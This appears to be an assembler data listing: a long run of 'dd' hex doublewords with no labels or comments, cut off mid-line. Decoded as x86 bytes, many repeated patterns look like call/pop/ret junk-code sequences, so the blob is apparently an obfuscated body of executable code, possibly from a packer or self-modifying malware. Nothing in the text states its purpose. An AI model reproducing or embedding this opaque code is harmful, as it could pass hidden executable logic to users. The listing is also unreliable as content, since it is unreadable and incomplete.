85C74F5Ah dd 6191490h, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 1EC35040h, 29418D89h, 44E90615h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 672EC352h, 4FC60B68h, 81F8F6AAh, 26F7BBE6h, 9085C711h dd 61914h, 60000000h, 11F9B589h, 0F530615h, 88h, 8D615A00h dd 1511699Dh, 9919BF06h, 23813590h, 0FFFFFEFFh, 619D3160h dd 0E8061500h, 0Ch, 9E56DFFAh, 2F527473h, 926EA2B2h, 61585FB5h dd 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E9F9C355h, 0Dh, 7C3DD53Bh, 143A2881h dd 83A89E7Dh, 4C3F6C0h, 5A840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BAD48C3h dd 151799B5h, 1C860F06h, 0E8000000h, 14h, 0EA82423Bh, 2E1EE9C2h dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0FF5F5F56h, 1518A195h dd 61D8BE06h, 8B9075B6h, 5E5050F9h, 0FA8B6690h, 42DE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 359F5E63h, 0CE8166ABh, 8B66318Bh, 6A00B0FEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0B893C352h, 0A1F0C024h, 0B8EE8166h, 6A70E645h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 364C353h, 0BD8B71E4h, 6152D99h, 0E9D8B60Fh dd 0Dh, 0FF87F732h, 0DC1D4981h, 0F233235Ch, 6BA86h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 772C5AC3h, 0A6AD1300h, 0C99501BDh, 8B061506h, 0DDB589C3h dd 0C106152Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 4FA99CC3h, 0F53C6D7h, 683h, 319D2900h dd 6606150Dh, 0BD8BE2F7h, 6150D81h, 6AD82Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 79589BC3h dd 48B0Fh, 60560000h, 66505F61h, 895641BEh, 6A241Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 6E1DD3C3h, 0C4D450BBh, 0B5FF1862h, 61508ADh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6FC35747h, 2195FF2Eh dd 6A06152Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 8A55C350h, 27445970h, 0C7CC2C89h dd 0FE9h, 0E62CBB00h, 0D23B0F65h, 417A36Ah, 0EFF3B9B2h dd 0BF0F00B0h, 170E6F9h, 15219185h, 6A71E406h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9D11C352h, 500FF465h, 0BE9h, 15B93C00h, 2A986529h, 0B4FD50DAh dd 830F613Ch, 232h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 7EC35545h, 0F6BE39CEh, 310AB1ABh, 1517358Dh dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 57C35545h, 81669AEDh, 0BA2550DEh, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 6AC38B3Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 24F3C352h, 6185019Dh, 0C1061505h, 0BF0F04E8h dd 91B58BF2h, 66061525h, 8D89E2F7h, 6150AA9h, 2175B58Bh dd 0D82B0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0ADC35242h, 7C4F48F7h, 6A58C93Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1DCDC355h dd 0A1BD8BB8h, 2B06150Ah, 2F880FD8h, 66000001h, 0B9EE03BEh dd 7, 0DF5B531h, 0C1830615h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E4B04E04h dd 0F28B2C82h, 860FD93Bh, 0F2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 5FC35747h, 2286CCDDh, 3D95892Bh dd 66061521h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 4B2D08C3h, 0B58B1832h, 6152469h dd 0F04C1F6h, 9184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0FFA527F0h, 1518A195h dd 5BD8906h, 5B061525h, 0E880Fh, 89600000h, 1510F5B5h dd 6D8D8B06h, 61061521h, 343DC32Bh, 0F000008h, 4586h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 93CA09CFh, 179DB58Bh, 81660615h, 0E9873FEFh, 1Eh, 11E9h dd 0BA8B0D00h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0C08B0B67h dd 2D21BD8Bh, 0C38B0615h, 8166D88Bh, 0C7B8D1E6h, 15107985h dd 427B1506h, 0FC67BE5Bh, 0C08B5561h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 57C35646h, 219A183h, 0B58BCD41h dd 6150BC9h, 8ADBD81h, 7D00615h, 850F0000h, 5Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C9C35545h, 353A2B10h dd 83B08358h, 6830F88h, 81000000h, 882DC1CFh, 0AD85FF38h dd 6A061508h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 3087C357h, 0BB57BFF5h, 0B5FF41ACh dd 61508ADh, 54BEBF66h, 2E2195FFh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BE2A94C3h dd 75848EABh, 958950EBh, 615054Dh, 0BF66905Eh, 6AE335h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 526818C3h, 8D89523Bh, 6152795h, 13E95Eh, 0B9A40000h dd 985A8B6Dh, 41560839h, 0CF4535D9h, 71E796E1h, 57006A8Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 3F743E4Ah, 5DBF662Eh, 57006AC9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D3DB537Fh dd 0FF2EE04h, 218Dh, 28C0F00h, 60000000h, 14E961h, 756E0000h dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 840FC61Bh dd 7, 8E0Fh, 6AF90000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 2E82C352h, 357E459Ah dd 71858944h, 66061533h, 0AD04C781h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 24C35545h, 5E9F8h, 2CE90000h dd 0E92E012Ch, 0FFFFF7CAh, 6AC18Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 676AFEC3h dd 0B50980A4h, 9E8h, 0BC386D00h, 0BBA835Ah, 0BD335EE8h dd 6151511h, 0FE95Eh, 1E440000h, 1E4DDE83h, 7938202Ah dd 5B4EF101h, 4EBDFh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0DEE3C357h, 53BC512Dh dd 2F2DB58Bh, 235F0615h, 150699BDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D0A4F7A9h dd 1880FB6h, 0F5000000h, 279D858Dh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1E571C3h dd 6657C9A5h, 1102CE81h, 5660505Eh, 0CE8h, 448DD400h, 0F274D38Bh dd 41A19B51h, 525E5EF2h, 310F5250h, 615A585Ah, 29240489h dd 15098195h, 859D8906h, 6A06150Ah, 59858900h, 89061524h dd 15215DB5h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0E532C357h, 0C2858D84h dd 0BF061920h, 4475E8EEh, 6A05C083h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 4C9BC357h dd 0FF48877Ah, 5050FC98h, 0F5E5752h, 66525031h, 0F4A4FBEh dd 5A585A31h, 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0BFC35242h, 0B665E7FAh, 66538EBFh, 815EFA8Bh dd 6330AAD6h, 1006A2Ah, 1510C985h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 9A37C357h, 46642E44h, 0FFF7BF0Fh, 15267995h, 0DEE8106h dd 37B7CC3h, 1510FDBDh, 159D8D06h, 0F06189Ch, 0B83h, 6E900h dd 0E1BA0000h, 69F9119Bh, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 59B9F8C3h, 0A42D8383h dd 895A0556h, 150C51B5h, 3585FF06h, 0F061515h, 83h, 7FCE900h dd 0E80000h, 5D000000h, 20CCED81h, 6A0619h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 16E434C3h dd 0BD092ADEh, 6151D71h, 8ADBD81h, 7D00615h, 860F0000h dd 147h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 67C35747h, 23E7A812h, 29F98B66h, 15161D95h, 0E59D8B06h dd 2B061515h, 152FB9BDh, 0E38106h, 81000001h, 11F1FBD6h dd 0FDB0B48h, 7485h, 0F9BF0F00h, 1EDCBD83h, 0F000619h dd 2D84h, 0FB8B6600h, 88E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0EBA7DF11h dd 5A59D89h, 85C70615h, 6191EDCh, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 34C35545h, 9FF57904h, 32E99702h dd 8B000000h, 152A85BDh, 0DC85C706h, 6191Eh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 185C351h, 54ED345h, 0E59D8D02h, 6A061515h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0B84EC351h, 0AEE5BC59h, 0FF23816Ah, 6AFFFFFEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0EDECC353h, 0DDDB0591h, 0FC44E90h, 688h dd 0A9BD8B00h, 66061501h, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0C3F621C3h, 2C840F04h dd 66000000h, 88C2DF81h, 0A195FFF8h, 8B061518h, 1522F5B5h dd 0F38B9006h, 0AE950h, 21D00000h, 86A0161Eh, 0CB54EFBEh dd 0E9858990h, 0E9061533h, 409h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 79C35040h, 9965E033h, 684AFAB8h dd 0FE8h, 72F6E900h, 82C654BCh, 51EFE146h, 29AD1C0Eh, 10E9h dd 0E2CD4300h, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h, 0B05EB2h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0C5C35040h dd 59A77D5Fh, 6DBD8B71h, 0E6061516h, 56006A70h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 19C8F836h dd 71E4568Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0CC35242h, 0FFA8BC3h, 0C8Bh, 6830F00h, 0F000000h dd 89h, 0D8B60F00h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 2CC35141h, 6BA144Dh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0EDBCC356h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 459CCDC3h, 43A03940h, 30C6DA0h dd 152959B5h, 4E8C106h, 23358589h, 0F7660615h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0D1CA97D2h, 0FCECE0Dh, 0D82BFFB7h, 5E8h, 9ADE8600h dd 95895D95h, 6150E39h, 3A63BE5Eh, 52930108h, 6D3EBE66h dd 860F505Eh, 16h, 11E9h, 5893C700h, 263EEC81h, 11191E1Ah dd 6F3041EFh, 6A93FE79h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0E9DDC350h, 0ADB5FFA7h dd 0F061508h, 95FFF6BFh, 6152E21h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0AC35747h, 0DA45FE77h, 290D86C1h dd 152CB59Dh, 0BD68106h, 0B016E919h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0E6F98BC6h dd 6071E470h, 11219D89h, 0C8800615h, 613C61ACh, 1CB830Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0CD72A1C3h, 0B509C9BBh, 6150989h, 921BD8Bh dd 0B60F0615h, 0BA5F56D8h, 6, 88A0Fh, 33530000h, 151945B5h dd 0C38B5E06h, 0F1BD8B56h, 5E061509h, 6A04E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0FCAAC357h, 0B589EB37h, 61510C9h, 2BE2F766h, 53006AD8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0CD304FACh, 67D6A0BFh, 0C681584Eh, 61F35229h, 880FD82Bh dd 11Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0E1C35343h, 7559F343h, 0BEF08B60h, 319359C2h, 7B961h dd 0BE660000h, 0C183F87Bh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 836471F9h dd 0F781185Ch, 42F30AC6h, 0A6504DBEh, 0FD93B0Ah, 0B486h dd 0FEB70F00h, 0FD98C66h, 0D83h, 8D8B6000h, 61518D1h, 0AF968DB9h dd 85896140h, 6152CB5h, 0F04C1F6h, 6B84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0EF32E06Ah, 3BB3CCD8h, 0FADF0ABEh, 0A195FF54h, 33061518h dd 151165B5h, 0C32B5B06h, 0D710E681h, 343D7A49h, 0F000008h dd 2386h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E9EF3B6Ah, 21h, 6AC08Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8BCEA9C3h, 8BC38BF2h, 0BE8D8h, 0ED4B0000h, 2EFC7306h dd 36129DECh, 5FF08B7Fh, 116985C7h, 0CD950615h, 6A1D25h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 909B1AC3h, 89E741DCh, 1503618Dh, 6AC08B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 6660C357h, 0BD81F38Bh, 61508ADh, 7D0h, 35850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C7B338C3h, 60A8B530h, 8D31B6B1h, 615040Dh, 8AD85FFh dd 81660615h, 0FF90E0DEh, 1508ADB5h, 11E806h, 177A0000h dd 0FCFD4895h, 0D4F35030h, 26690C39h, 5FDC6683h, 8E8h dd 0BB154300h, 0D2E9FB1h, 0B4CE81D5h, 5F46DDB1h, 2E2195FFh dd 0B5890615h, 6152725h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 6DE0AB88h, 7BAEE44Ch dd 1721B58Bh, 0C7810615h, 45C7BABh, 0F28BF98Bh, 2D09BD03h dd 0B58B0615h, 6151341h, 8D016060h, 6152CF5h, 66DEE281h dd 0BA6612A5h, 0E96183C9h, 9, 1DD8D600h, 0E2309E55h, 6A619Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0D38AF6C3h, 0F9B0FC5h, 1289h, 68B0F00h, 89000000h, 1520B18Dh dd 0DDBD8B06h, 0F061525h, 1F83h, 31B58B00h, 0E906152Bh dd 14h, 0DA938924h, 2B9A2CCFh, 88B99944h, 46BB64E9h, 286687C8h dd 8166F38Bh, 9B7AECFh, 152959B5h, 75BD8B06h, 0E9061516h dd 11h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh, 2ECB2266h, 5211BE81h dd 0B5895C32h, 6153095h, 301DBD8Bh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 38A100C3h dd 0E945F240h, 0FFFFF80Ah, 1D0DBD0Bh, 0C18B0615h, 2B01B58Bh dd 4EB0615h, 0 dd 18DBD31h, 8B660615h, 9D858DFAh, 0F061527h, 88h, 8B665000h dd 240489F8h, 0DC9B533h, 6A0615h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 97C35242h, 4870F0Bh, 66000000h dd 6A7B05BFh, 0D8B0F00h, 50000000h, 6E9h, 128A7F00h, 5F7B110Dh dd 2A42858Dh, 6A0619h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 92A7B0C3h, 0F0633D7h, 83h, 5C08300h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C2C35141h dd 489505Eh, 3FBE6624h, 6A006A58h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DA88C357h dd 1C5D46B6h, 8B0FA8CAh, 152DE9B5h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0D707C357h, 0E781214Eh, 349FFBF6h, 0D1B52951h, 5F061518h dd 267995FFh, 81660615h, 8DE2F7C6h, 189C159Dh, 3D952906h dd 0FF061528h, 53006AD3h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 4A0BEC1Ch, 0DE9h, 0FDDE7300h dd 0A7A57FA2h, 4492E231h, 57609F66h, 6DBB866h, 49BF665Eh dd 85FF6199h, 6151535h, 54409CBFh, 842E912h, 0E80000h dd 5D000000h, 2A4CED81h, 0BD810619h, 61508ADh, 7D0h, 185860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 91F17AC3h, 0BE88D21h, 65000000h, 557E651Fh dd 0F1518871h, 0BD8BD13Eh, 61502E5h, 9D9D8B5Fh, 6A061507h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0D64DC350h, 855A5683h, 33A4DD87h, 1508C1BDh dd 0E38106h, 0F000001h, 786h, 81665600h, 5F41C1DFh, 850FDB0Bh dd 0A2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 5EC35646h, 8F830589h, 0BB720FA6h, 0D5BD8B44h, 83061502h dd 1928CDBDh, 840F0006h, 1Ah, 15EDB58Bh, 8DE90615h, 0E8000000h dd 7, 0D7E63EACh, 8BD1A227h, 85C75EF7h, 61928CDh, 1, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D3C35141h, 41F79C57h dd 4DE924E8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 80C7C357h, 85C7FB12h dd 61928CDh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0DEC35242h dd 661C9FAFh, 0DBED681h, 79D9D8Dh, 0BF660615h, 23816AE2h dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 5DC35747h, 0A25769CFh, 6630E161h, 8B66DB8Ch, 4C3F6FBh dd 49840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 8AC75DC3h, 1649984Ah, 66075869h dd 0FF0991BFh, 1518A195h, 0C9852906h, 50061506h, 48C0Fh dd 0BF660000h, 489F369h, 0F1BD8924h, 0E9061509h, 445h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3BC35343h dd 66986EE8h, 0B05045BEh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7FF73ADDh dd 111FF1E0h, 2B158501h, 70E60615h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 46C35646h, 45EB740Ah, 459529E5h dd 8906150Dh, 1511E5BDh, 0F871E406h, 2BD8B60Fh, 1528D1BDh dd 6BA06h, 0A2BF0000h, 8B00A76Eh, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 91851442h dd 0F08BE4EDh, 8B04E8C1h, 150C11BDh, 0E2F76606h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0F9B079C3h, 575793FAh, 5F5EF18Bh, 0BF525050h, 1C40D6FCh dd 5250310Fh, 8E8h, 9C759700h, 0B17EA9ADh, 310F5E44h, 0FE9h dd 54424D00h, 0A4EFCE7Ch, 0C210EA88h, 0F93DC087h, 585A585Ah dd 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 698E36A3h, 0A38CC120h, 2E59BD01h, 0B70F0615h dd 0ADB5FFFFh, 6A061508h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FC4C351h, 10E8F8BFh dd 0E5000000h, 3B0884C3h, 835E7F35h, 6ADED69Eh, 66D89347h dd 779BD681h, 2195FF5Fh, 0F06152Eh, 0B0F3B7h, 6A70E6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 840AF6C3h, 66AD2131h, 0E919BBBFh, 9, 38527F19h, 5A81FE9Bh dd 6A71E4D6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 56BAC350h, 0BAEF8143h, 3C2EAA34h dd 4A830F61h, 8B000002h, 151D75BDh, 0D8B60F06h, 8F0Fh dd 6BA0000h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5F02C350h, 84BD3BD0h dd 8859D89h, 0C38B0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0AAC35646h, 8D4A41C9h, 5597A3EAh, 61E0B060h dd 1185B58Bh, 0E8C10615h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0EDA3087Ch dd 9501518Eh, 6151DB5h, 0E2F7665Eh, 6880Fh, 8D890000h dd 6150AE9h, 0F681D82Bh, 46C1F665h, 17ADBD8Bh, 6A580615h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 7534C353h, 0B64C171Bh, 0DCCE8166h, 11E86Bh dd 654C0000h, 574AB34Dh, 61E3B58Dh, 2514A290h, 5E6FA97Ch dd 880FD82Bh, 151h, 7B9F28Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9881C355h dd 0C183C6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 4DC35141h, 0D93BF563h, 103860Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 83A079C3h, 0B5D14238h, 8C66F51Fh, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2DD9C992h dd 2A818529h, 0BE660615h, 0C1F6B398h, 0A2840F04h, 60000000h dd 179D8589h, 0BF0F0615h, 95FF61DFh, 61518A1h, 1541BD31h dd 8B5B0615h, 1506F5B5h, 13E906h, 0EC480000h, 7CE7DB37h dd 6A85BF93h, 66DB989Ch, 7CC6A624h, 6AC32BC0h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 9C4DC356h, 61C232C5h, 68B0F81h, 89000000h, 1504498Dh dd 59D8906h, 3D061517h, 834h, 2B860Fh, 0BF0F0000h, 2BE9F0h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B1C60C3h, 1510A5B5h, 89C08B06h, 1533E995h dd 8BC38B06h, 0E585C7D8h, 11061515h, 81186B65h, 8E43D7D6h dd 0E8C08B16h, 9, 6166BE3Fh, 53F022BDh, 21B5293Ah, 5F061508h dd 8ADBD81h, 7D00615h, 850F0000h, 2Eh, 9A19D09h, 85FF0615h dd 61508ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0B7C35646h, 0BE666BE4h, 0B5FFAAC7h, 61508ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h, 618DCB97h dd 0F5DCE9Ah, 8Eh, 0E98D0900h, 0FF061517h, 152E2195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 7EECC100h, 8B90D51Eh, 153035BDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0EECEEDE3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 89C35343h dd 6A3C29BAh, 56B53E6Dh, 0CDBD8B74h, 29061524h, 1510D585h dd 12E95706h, 0A9000000h, 62259A8Eh, 3DDE33AFh, 99770B77h dd 7DF31FAh, 5EFE8BE9h, 1DADB58Bh, 8E90615h, 4B000000h dd 0A7D64958h, 6ACAD028h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E964C350h, 5, 18F744Eh dd 6AFA8B2Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 870CC357h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0C7C35747h, 7F0F6997h, 10850Fh dd 0BE90000h, 0FC000000h, 9D773F93h, 5763F9BBh, 0BD8BB4ECh dd 61502CDh, 0FFF7EDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0C60CC030h, 2595018Ah dd 8106151Eh, 0ABCA0EDFh, 0FE8B6624h, 3A88BF60h, 0FEB925D3h dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 2C1CC356h, 81674D51h, 888DD0E1h dd 13E9h, 21AC0B00h, 0A9AC5362h, 0E25C0D3Fh, 0ADF7E0Fh dd 0FCADC123h, 0AE9h, 47320800h, 0A7DCCEEBh, 21DD1C1Eh dd 1504E18Dh, 2820F06h, 0B7000000h, 8D8D21C8h, 0F061510h dd 148Dh, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h dd 519D291Eh, 8B06152Ch, 1504E18Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858B754Eh dd 6151911h, 0F01E183h, 685h, 0E59D8B00h, 8B061518h, 15108D8Dh dd 0BD8D8906h, 83061517h, 850F01E1h, 6, 3198D281h, 60617829h dd 1769BD8Bh, 0FEB90615h, 89FFFFFFh, 1510C98Dh, 158D2106h dd 6A061527h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D413C351h, 0E0BD3F19h, 0D9318C0Fh dd 136DBD33h, 8D210615h, 6151079h, 80C68B66h, 8D8B23F7h dd 6152715h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 31C35545h, 0C739F192h, 89FADEE6h, 152F5595h, 98BF6606h dd 11E856h, 1B610000h, 3309D6A3h, 8E637AF0h, 4685336Ch dd 893821E2h, 152E5DBDh, 0E1835806h, 24850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0EC53C353h, 66B00790h, 8B0C38BBh, 1510798Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 874F59BDh, 0D9A354C7h, 0E890FB7h, 60000000h dd 2555B589h, 950B0615h, 6152925h, 0E59D8B61h, 6006151Dh dd 8215BE66h, 68B0Fh, 9D2B0000h, 615301Dh, 1E18361h, 2A850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5298FDC3h, 7DBB918Bh, 0B58B9E6Bh, 6150D8Dh dd 6A6061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0CB6827C3h, 0B9BAB0FCh, 0FFFFFFFEh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 64C35242h, 3D55524Ah dd 8D21F0FCh, 615079Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 52C35545h, 134E09Ch, 